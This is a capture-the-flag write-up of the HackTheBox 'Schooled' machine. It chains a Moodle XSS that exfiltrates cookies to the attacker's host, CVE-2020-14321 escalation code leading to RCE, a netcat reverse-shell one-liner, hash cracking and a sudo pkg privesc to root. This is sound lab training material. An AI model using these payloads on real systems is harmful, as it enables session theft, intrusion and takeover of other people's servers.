HTB - Schooled Write-up

Vulnerabilities/bad configurations exploited

  1. XSS in Moodle LMS to steal Teacher session.
  2. Moodle LMS privilege escalation from Teacher role to Manager role (CVE-2020-14321).
  3. Weak password/password re-use
  4. User sudo permissions for pkg install

Enumerating the network

I started with a basic nmap scan on all ports of the target machine:

sudo nmap -sC -sV -p- -oA nmap/schooled_allports 10.10.10.230 -vv

-sC : Load default scripts
-sV : Determine service/version info from open ports
-oA : Output in all formats
-vv : Increased verbosity
PORT      STATE SERVICE VERSION                                                                                                                                                                                                               
22/tcp    open  ssh     OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)                                                                                                                                                                          
| ssh-hostkey:                                                                                                                                                                                                                                
|   2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)                                                                                                                                                                                
|   256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)                                                                                                                                                                               
|_  256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)                                                                                                                                                                             
80/tcp    open  http    Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)                                                                                                                                                                            
| http-methods: 
|_  Potentially risky methods: TRACE                                                                                   
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15                                                               
|_http-title: Schooled - A new kind of educational institute 
33060/tcp open  mysqlx?
| fingerprint-strings:                            
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:                         
|     Invalid message"                                                                                                                                                                                                                        
|     HY000                    
|   LDAPBindReq:                                                                                                       
|     *Parse error unserializing protobuf message"                                                                     
|     HY000                                                                                                            
|   oracle-tns:                                            
|     Invalid message-frame."            
|_    HY000
...ommitted...
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Ports 22,80 and 33060 were open.

Information Gathering on Website

Next, I browsed the website and found schooled.htb was being used.

So I added schooled.htb to /etc/hosts, in case there are resources that points to schooled.htb.

Also, there were some information about the employees.

And the academy seemed to use Moodle LMS.

I was confident that Moodle LMS was either a sub-directory or sub-domain, so I ran gobuster and ffuf.

Fuzzing for Moodle LMS

# gobuster command
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u http://schooled.htb

dir : directory mode
-w : wordlist
-u : URL

# ffuf command
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u http://schooled.htb -H "Host: FUZZ.schooled.htb" -fs 20750

-w : wordlist
-u : URL
-H : Header
-fs : filter size

gobuster did not return the expected results, but ffuf did. In my ffuf command, I had to filter the response size of 20750 as there were unwanted responses returned.

Enumerating Moodle LMS

With moodle.schooled.htb found, I added it to my /etc/hosts file. Then, I visited the LMS.

Then, I used an CMS scanning tool, droopescan, to find out more about Moodle, especially the version used. Knowing an application's version would help me narrow down the vulnerabilities for the application.

# Clone repo and install droopescan
git clone https://github.com/droope/droopescan.git
cd droopescan
pip install -r requirements.txt
./droopescan scan --help
# Scan http://moodle.schooled.htb/moodle
droopescan scan moodle -u http://moodle.schooled.htb/moodle

The possible version detected was 3.10.0-beta. Some googling led me to this link, where it listed vulnerabilities for different Moodle versions and its severity. But I had to explore the target Moodle more before attempting to do anything. So I went to look at the courses listed.

There was a list of courses available, and I had to register an account to enrol to any course.

All registration fields were straightforward except for the email. The email field only accepts emails that ends with @student.schooled.htb. With an account registered, I enrolled myself into Mathematics.

After registering, I was required to verify my account via a verification link but I didn't need to. I found out that it was an Improper Authentication vulnerability.

Within the course, I found an announcement made by the Teacher, Manuel Phillips.

To be honest, because it was in HackTheBox, it wasn't second nature to me that Manuel Phillips would actually check a user's MoodleNet profile set. Until I took the leap of faith and tried to exploit a possible Cross-Site Scripting (XSS) vulnerability on the MoodleNet profile input field not properly sanitized.

XSS in Moodle LMS to steal Teacher session

I navigated to my Edit Profile page and pasted a PoC XSS payload that displays a pop-up if the vulnerability exists.

It worked. This also led me to determine that the Moodle version was 3.9 instead of 3.10.0-beta.

I then used a payload that would cause any user who visited my profile to send a GET request to my own HTTP server.

<!--XSS Payload-->
<script>document.location='http://10.10.14.77/XSS/grabber.php?c='+document.cookie</script>
# Set up HTTP server
sudo python3 -m http.server 80


After saving, I was brought back to my profile page and the payload worked.

At the address bar, the URL pointed to my address and a parameter MoodleSession came along with it. This was my own session cookie, and what I wanted was a cookie beloning to Manuel Phillips. So I crossed my fingers, while staring at my HTTP server.

Within a minute or so, I received a GET request from http://10.10.10.234.

Using this cookie, I replaced my own with the stolen cookie using FireFox developer's tools. After refreshing the page, I was now logged in as Manuel Phillips, a user with the Teacher role.

Teacher to Manager to RCE

Understanding the privileges different roles had in Moodle, I had to obtain the Manager role to get the most privileges. In Moodle 3.9, there is a vulnerability that allowed the Teacher role to escalate into a Manager role (CVE-2020-14321) by intercepting a request that would enrol an existing Manager role user to the course, and changing the userid into my own. I found a script that would escalate my role from Teacher to Manager, enable all privileges and upload a malicious plugin payload.

  1. Create a HTTP request to login as Teacher using a 'Teacher Cookie'.

    def login(url, username, password, course_id, teacher_cookie, cookie_domain, cookie_path):
        '''
        Sign in on site, with creds or with cookie
        '''
    
        p1 = log.progress("Login on site")
    
        session = requests.Session()
        r = session.get(url + '/login/index.php')
    
        # Sign in with teacher cookie
        if teacher_cookie != "":
            p1.status("Cookie " + Color.PURPLE + "MoodleSession:" + teacher_cookie + Color.END)
            time.sleep(2)
    
            session.cookies.set('MoodleSession', teacher_cookie, domain=cookie_domain, path=cookie_path)
    
            r = session.get(url + '/user/index.php', params={"id":course_id})
            try:
                re.findall(r'class="usertext mr-1">(.*?)<', r.text)[0]
            except IndexError:
                p1.failure(Color.RED + "✘" + Color.END)
                print(Color.RED + "\nInvalid cookie, try again, verify cookie domain and cookie path or simply change all.\n")
                exit(1)
    
            id_user = re.findall(r'id="nav-notification-popover-container" data-userid="(.*?)"', r.text)[0]
            sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]
    
            p1.success(Color.BLUE + "MoodleSession:" + teacher_cookie + Color.END + Color.YELLOW +  " ✓" + Color.END)
            time.sleep(1)
    
    
  2. Intercept enrolment of Manager and modify userid to mine.

    def enrol2rce(session, url, id_manager, username, course_id, teacher_cookie, command):
        '''
        Assign rol manager to teacher and manager account in the course.
        '''
    
        p4 = log.progress("Updating roles to move on manager accout")
        time.sleep(1)
    
        r = session.get(url + '/user/index.php', params={"id":course_id})
        try:
            teacher_user = re.findall(r'class="usertext mr-1">(.*?)<', r.text)[0]
        except IndexError:
            p4.failure(Color.RED + "✘" + Color.END)
            print(Color.RED + "\nInvalid cookie, try again, verify cookie domain and cookie path or simply change all.\n")
            exit(1)
    
        p4.status("Teacher " + Color.BLUE + teacher_user + Color.END)
        time.sleep(1)
    
        id_user = re.findall(r'id="nav-notification-popover-container" data-userid="(.*?)"', r.text)[0]
        sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]
    
        session = update_rol(session, url, sess_key, course_id, id_user)
        session = update_rol(session, url, sess_key, course_id, id_manager)
    
        data_get = {
            "id" : course_id,
            "user" : id_manager,
            "sesskey" : sess_key
        }
        ...
    
  3. Login as Manager.

    def enrol2rce(session, url, id_manager, username, course_id, teacher_cookie, command):
        ...
        r = session.get(url + '/course/loginas.php', params=data_get)
        if "You are logged in as" not in r.text:
            p4.failure(Color.RED + "✘" + Color.END)
            print(Color.RED + "\nError trying to move on manager account. Validate credentials (or cookie).\n")
            exit(1)
    
        p4.success(Color.YELLOW + "✓" + Color.END)
        time.sleep(1)
    
        sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]
        ...
    
  4. Enable all permissions for Manager, especially to install plugins.

    def enrol2rce(session, url, id_manager, username, course_id, teacher_cookie, command):
        ...
            # Updating rol manager to enable install plugins
            session, sess_key = update_rol_manager(session, url, sess_key)
        ...
    
        # Sends a payload to enable all permissions for Manager.
    def update_rol_manager(session, url, sess_key):
            ...
            return session, sess_key
    
  5. Create and upload payload.

    def enrol2rce(session, url, id_manager, username, course_id, teacher_cookie, command):
        ...
        # Upload malicious zip file
        zipb64_up(session, url, sess_key, teacher_user, course_id)
        ...
        
        # Create maliciouz zip file
    def zipb64_up(session, url, sess_key, teacher_user, course_id):
        ...
        return session
    
  6. Obtain RCE.

    def enrol2rce(session, url, id_manager, username, course_id, teacher_cookie, command):
        ...
        # RCE on system
        moodle_RCE(url, command)
        ...
    

With RCE, I was able to send a reverse shell command and get my initial access. (Note: FreeBSD/OpenBSD reverse shell commands differ from other Linux commands)

python3 moodle_rce_2.py http://moodle.schooled.htb/moodle/ --cookie 47vmlldg1qpu5093n8kaol8os1 --cdomain moodle.schooled.htb --cpath '/moodle/' -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.77 8001 >/tmp/f'

Enumerating the Target Machine

I added /usr/local/bin to path as I noticed I could not run many built-in commands.

# add usr/local/bin to path for more commands
export PATH=$PATH:/usr/local/bin

As a practice, I would run commands that would tell me more about the system, such as:

# Get OS info
uname -a

# Get users in system with a home directory
cat /etc/passwd | grep "home"

# Find binaries with SUID set.
find / -perm u=s 2>/dev/null

I found the following users in the system, jamie and steve.

The lowest hanging fruit was the Moodle server files used, so I sought for any configuration file(s) to hopefully gain credentials. Searching within the www folder, I managed to discover the configuration file that stored MySQL database credentials.

Breaking Password Hashes Stored in MySQL

I used the credentials found and successfully accessed the MySQL database.

I queried the mdl_users table and retrieved the password hashes for all staffs in Moodle.

SELECT * FROM mdl_users WHERE email LIKE '%staff%';

I wrote the hashes in a file named hashes, and used hashcat to crack the hashes.

# Stolen hashes from MySQL
$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW
$2y$10$n9SrsMwmiU.egHN60RleAOauTK2XShvjsCS0tAR6m54hR1Bba6ni2
$2y$10$ZwxEs65Q0gO8rN8zpVGU2eYDvAoVmWYYEhHBPovIHr8HZGBvEYEYG
$2y$10$jw.KgN/SIpG2MAKvW8qdiub67JD7STqIER1VeRvAH4fs/DPF57JZe
# Usage: hashcat <hash-type> <hash> <wordlist>
hashcat -m 3200 hashes /usr/share/wordlists/rockyou.txt

-m : hash-type (3200 for bcrypt $2*$, Blowfish (Unix))

Cracking took a few minutes, however hashcat managed to crack the hash which belonged to admin. Incidently, Jamie Borham is the admin.

Privilege Escalation to Jamie

I succeeded in logging in via SSH jamie@10.10.10.234 with the cracked password and obtained the User Flag.

Privilege Escalation to root

As jamie, I ran sudo -l to see if jamie could run anything with sudo.

I looked up /usr/sbin/pkg in GTFOBins and found a privesc method to gain root.

# Create temp directory
TF=$(mktemp -d)

# Echo ```command``` and output to a ```.sh``` script in temp directory.
echo 'id' > $TF/x.sh

# Create custom ```package``` as payload.
fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF

# Run custom ```package``` on target
sudo pkg install -y --no-repo-update ./x-1.0.txz

Performing the above proved that the exploit works.

I modified the command to set sticky bit on bash, so I could run bash -p to get root shell. (Credits to: xct notes)

# On host machine
TF=$(mktemp -d)
echo 'chmod u+s /bin/bash' > $TF/x.sh
fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF

# On target machine
curl http://10.10.14.77/x-1.0.txz -o x-1.0.txz
sudo pkg install -y --no-repo-update ./x-1.0.txz

And I had successfully rooted the machine.

Learning points

  1. Always keep your application updated.
  2. Have good password policies and practices
  3. Have proper permissions control. You do not want anyone to misuse privileges.

Afternote

Rated Medium. At the time of writing, I did not have much experiencing exploiting XSS, and the privesc path was also something new. I must say that I did not expect a simulated user action would be in this machine. And seeing that my payload went through really got me excited.

The most powerful motivation is rejection.
- Anonymous